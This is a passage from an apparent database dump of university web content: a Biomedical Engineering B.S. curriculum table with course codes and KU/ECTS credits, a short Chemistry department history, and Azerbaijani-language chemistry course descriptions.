height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>KU</td><td>ECTS</td><td></td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>University Requirement English</td><td>11</td><td>22</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>University Requirement Azeri</td><td>8</td><td>16</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>Humanity</td><td>6</td><td>12</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>Social Sciences</td><td>6</td><td>12</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>Science and Technology</td><td>9</td><td>18</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>Major Courses</td><td>88</td><td>176</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td></tr><tr height=\"20\"><td height=\"20\">&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>&nbsp;</td><td>Total</td><td>128</td><td>256</td><td>&nbsp;</td></tr></tbody></table>'),(832,565,'en','Program','Program','<table cellpadding=\"0\" cellspacing=\"0\" width=\"947\" style=\"\" border-collapse:collapse;width:711pt\";border-width:1px;border-style:solid\"=\"\">\r\n <tbody><tr height=\"31\">\r\n  <td height=\"31\" width=\"77\"></td>\r\n  <td colspan=\"6\" width=\"698\" style=\"text-align:center\">&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; <strong>Biomedical Engineering\r\n  B.S. Program</strong></td>\r\n  <td width=\"53\"></td>\r\n  <td width=\"55\"></td>\r\n  <td width=\"64\"></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>1st-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\">CODE</td>\r\n  <td width=\"227\">Fall Semester</td>\r\n  <td width=\"66\">KU</td>\r\n  <td>ECTS</td>\r\n  <td>&nbsp;</td>\r\n  <td>CODE</td>\r\n  <td width=\"242\">Spring Semester</td>\r\n  <td width=\"53\">KU</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">AZLL 101</td>\r\n  <td width=\"227\">Azerbaijan\r\n  Language&nbsp;</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>PHSC 111</td>\r\n  <td width=\"242\">Physics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">MATH 101</td>\r\n  <td width=\"227\">Calculus_I</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>MATH 102</td>\r\n  <td width=\"242\">Calculus_II</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">CHEM 111</td>\r\n  <td width=\"227\">Chemistry</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZC 202</td>\r\n  <td width=\"242\">Azerbaijan\r\n  Culture</td>\r\n  <td width=\"53\">2</td>\r\n  <td>4</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"30\">\r\n  <td height=\"30\">ENGL 101</td>\r\n  <td width=\"227\">English\r\n  Foundations_I</td>\r\n  <td width=\"66\">4</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>ENGL 102</td>\r\n  <td width=\"242\">English\r\n  Foundation _II</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">MED 315</td>\r\n  <td width=\"227\">Life\r\n  Science&nbsp;</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>AZH 150</td>\r\n  <td width=\"242\">Azerbaijan\r\n  History</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"24\">\r\n  <td height=\"24\">&nbsp;</td>\r\n  <td width=\"227\">Social\r\n  Sciences**</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"53\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">Credit</td>\r\n  <td>19</td>\r\n  <td>38</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Credit</td>\r\n  <td>15</td>\r\n  <td>30</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>2nd-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\">CODE</td>\r\n  <td>Fall Semester</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td>&nbsp;</td>\r\n  <td>CODE</td>\r\n  <td width=\"242\">Spring Semester</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"36\">\r\n  <td height=\"36\">MATH 132</td>\r\n  <td width=\"227\">Linear\r\n  Algebra&nbsp;</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 235</td>\r\n  <td>Technical Equipment Biomedical\r\n  Systems</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"22\">\r\n  <td height=\"22\">ENGL 216</td>\r\n  <td width=\"227\">ESP\r\n  Biomedical Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 240</td>\r\n  <td width=\"242\">Biomechanics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"32\">\r\n  <td height=\"32\">CMS 202</td>\r\n  <td width=\"227\">Computer\r\n  Application in Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 255</td>\r\n  <td width=\"242\">Biomedical\r\n  materials</td>\r\n  <td>2</td>\r\n  <td>4</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"47\">\r\n  <td height=\"47\">BME 220</td>\r\n  <td width=\"227\">Technical\r\n  Measurements in Biomedical Research</td>\r\n  <td>4</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>EENG 250</td>\r\n  <td width=\"242\">Electrical\r\n  Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"227\">Humanity*</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n  <td width=\"242\">Humanity*</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"23\">\r\n  <td height=\"23\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">Credit</td>\r\n  <td>16</td>\r\n  <td>32</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Credit</td>\r\n  <td>15</td>\r\n  <td>30</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>3rd-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CODE</td>\r\n  <td>Fall Semester</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td>&nbsp;</td>\r\n  <td>CODE</td>\r\n  <td width=\"242\">Spring Semester</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"48\">\r\n  <td height=\"48\">BME 350</td>\r\n  <td width=\"227\">The\r\n  Interaction of Biological Objects with Physical and Bio-physical fields</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 344</td>\r\n  <td width=\"242\">Methods\r\n  for Obtaining Diagnostic Information</td>\r\n  <td width=\"53\">4</td>\r\n  <td>8</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">BME 321</td>\r\n  <td width=\"227\">Biomedical\r\n  Devices, Systems and Complexes - 1</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 346</td>\r\n  <td width=\"242\">Biomedical\r\n  Instruments</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">CIV 215</td>\r\n  <td width=\"227\">Engineering\r\n  Drawing</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 359</td>\r\n  <td width=\"242\">Control\r\n  System</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">BME 314</td>\r\n  <td width=\"227\">Foundations\r\n  of Human and Animal Biology</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 395</td>\r\n  <td width=\"242\">Summer\r\n  Internship</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"51\">\r\n  <td height=\"51\">&nbsp;</td>\r\n  <td width=\"227\">&nbsp;Social Sciences**</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 338</td>\r\n  <td width=\"242\">Biomedical\r\n  Devices, Systems and Complexes - 2</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"29\">\r\n  <td height=\"29\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Elective\r\n  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">Credit</td>\r\n  <td>15</td>\r\n  <td>30</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Credit</td>\r\n  <td>19</td>\r\n  <td>38</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"27\">\r\n  <td height=\"27\"></td>\r\n  <td colspan=\"8\"><strong>4th-Year</strong></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">CODE</td>\r\n  <td>Fall Semester</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td>&nbsp;</td>\r\n  <td>CODE</td>\r\n  <td width=\"242\">Spring Semester</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">BME 476</td>\r\n  <td width=\"227\">Fundamentals\r\n  of Metrology, Standardization and Certification</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 447</td>\r\n  <td width=\"242\">Automatic\r\n  adjustment in biotechnological systems&nbsp;</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENV 305</td>\r\n  <td width=\"227\">HS&amp;E</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 489</td>\r\n  <td width=\"242\">Medical\r\n  Informatics</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">BME 401</td>\r\n  <td width=\"227\">Technical\r\n  Methods of Biomedical Diagnostics</td>\r\n  <td width=\"66\">4</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Elective\r\n  (major)***</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"34\">\r\n  <td height=\"34\">BME 450</td>\r\n  <td width=\"227\">Medical\r\n  Electronics and Microprocessor Technology</td>\r\n  <td width=\"66\">4</td>\r\n  <td>8</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Elective\r\n  (major)***</td>\r\n  <td width=\"53\">3</td>\r\n  <td>6</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td width=\"227\">Elective (major)***</td>\r\n  <td width=\"66\">3</td>\r\n  <td>6</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td width=\"227\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"21\">\r\n  <td height=\"21\">&nbsp;</td>\r\n  <td width=\"227\">Credit</td>\r\n  <td>17</td>\r\n  <td>34</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td width=\"242\">Credit</td>\r\n  <td>12</td>\r\n  <td>24</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"25\">\r\n  <td height=\"25\"></td>\r\n  <td>Total Credits for Graduation</td>\r\n  <td>128</td>\r\n  <td>256</td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\"></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td><strong>* Humanity Courses List:</strong></td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td><strong>***Major Electives List:</strong></td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td>Semestr</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">PHIL 130</td>\r\n  <td>Culture of Philosophy</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 443</td>\r\n  <td width=\"242\">Physics\r\n  for Medicine and Biology</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>Foreign Language</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME233</td>\r\n  <td width=\"242\">Cellular\r\n  and Molecular Biology</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VI</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 320</td>\r\n  <td width=\"242\">Biomedical\r\n  Signals and Systems</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td><strong>** Social Sciences</strong></td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 482</td>\r\n  <td>Biosensors</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MGT310</td>\r\n  <td>Management and\r\n  Organization</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 442</td>\r\n  <td width=\"242\">Therapeutic\r\n  Medical Devices</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\">LAW 220</td>\r\n  <td>Family Law</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 444</td>\r\n  <td width=\"242\">Systems\r\n  Physiology and Physiological Modeling</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"40\">\r\n  <td height=\"40\">ECON 101</td>\r\n  <td>Introduction to\r\n  Economics</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 420</td>\r\n  <td width=\"242\">Microprocessors\r\n  in Medical Instrumentation</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>BME 493</td>\r\n  <td width=\"242\">Neural\r\n  Engineering</td>\r\n  <td>3</td>\r\n  <td>6</td>\r\n  <td>VIII</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td><strong>Science and\r\n  Technology</strong></td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">MATH 101</td>\r\n  <td>Calculus 1</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">CMS 202</td>\r\n  <td>Computer Application\r\n  in Engineering</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">ENV 305</td>\r\n  <td>HS&amp;E</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>KU</td>\r\n  <td>ECTS</td>\r\n  <td></td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement English</td>\r\n  <td>11</td>\r\n  <td>22</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>University\r\n  Requirement Azeri</td>\r\n  <td>8</td>\r\n  <td>16</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Humanity</td>\r\n  <td>6</td>\r\n  <td>12</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Social Sciences</td>\r\n  <td>6</td>\r\n  <td>12</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Science and\r\n  Technology</td>\r\n  <td>9</td>\r\n  <td>18</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Major Courses</td>\r\n  <td>88</td>\r\n  <td>176</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n </tr>\r\n <tr height=\"20\">\r\n  <td height=\"20\">&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>&nbsp;</td>\r\n  <td>Total</td>\r\n  <td>128</td>\r\n  <td>256</td>\r\n  <td>&nbsp;</td>\r\n </tr></tbody></table>'),(833,566,'az','Tarixi','Tarixi','<div><br></div><h4>Kimya departamenti 1994-cü ildə yaradılmışdır.  <br></h4>'),(834,566,'en','History','History','<div><br></div><h4>The Department of Chemistry was established in 1994.  <br></h4>'),(835,567,'az','Fənlərin təsviri','Fənlərin təsviri','<div><br></div><div><p><strong>CHEM111: Kimya-1 (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>yoxdur</p><p>Atom-molekulyar nəzəriyyə. Maddənin quruluşu və fiziki xassələri. Atomun quruluşu. Kimyəvi rabitə. Molekullarn fəndəsi forması. Hibridləşmə. Atom orbitalları. Molekulyar orbitallar. Maddənin aqreqat halları. Məhlullar. Kimyəvi tarazlıq. Turşu-əsas nəzəriyyələri. Kimyəvi kinetika. Kataliz. Nüvə reaksiyaları. I-VII qrup elementləri və onların ən mühüm birləşmələri. Üzvi birləşmələr, onların əsas sinifləri və ən mühüm nümayəndələri.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM112: Kimya-2 (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM111</p><p>Termodinamika, onun qanunları. Termokimya. Məhlullar nəzəriyyəsi. Duru məhlullar. Raul qanunları. Oksidləşmə-reduksiya prosesləri. Fotokimya. Kolloid məhlullar. Elektrokimya. Elektroliz, Faradey qanunları. Standart elektrod potensialı. Qalvanik elementlər. Korroziya və onunla mübarizə.</p><p><strong>&nbsp;</strong></p><p><strong>CHEM112: Biokimya-2 (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM102</p><p>Zülların növləri, onların quruluşu və xassələri. Nuklein turşuları. Fermentlər. Vitaminlər. Hormonlar. Lipidlər. Prostaqlandinlər. Canlı orqanizmdə metabolizm prosesləri. Bioloji oksidləşmə. Karbohidratların, sadə və mürəkkəb züllarların, nuklein turşularının, lipidlərin metabolizmi. Züllarların biosintezi.</p><p>&nbsp;</p><p><strong>CHEM208: Ümumi və qeyri-üzvi kimya (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;yoxdur</p><p>Maddə və onun növləri. Maddənin quruluşu və xassələri. Kimyəvi rabitə və onun növləri. Maddənin aqreqat halları. Məhlullar. Kimyəvi tarazlıq. Turşu-əsas nəzəriyyələri. Kinetika. Radioaktiv çevrilmələr. Kataliz. Mendeleyev cədvəlindəki I-VIII qruplardakı əsas elementlər və onların ən mühüm birləşmələri.</p><p>&nbsp;</p><p>&nbsp;</p><p><strong>CHEM 220: Üzvi kimya (3 kredit)</strong></p><p><strong>Prerekviziti:</strong>&nbsp;CHEM208 ümumi və Qeyri-üzvi kimya</p><p>Üzvi maddələrin kimyəvi quruluşu. Karbohidrogenlər, onların növləri, xarakteristikası, alınması və xassələri. 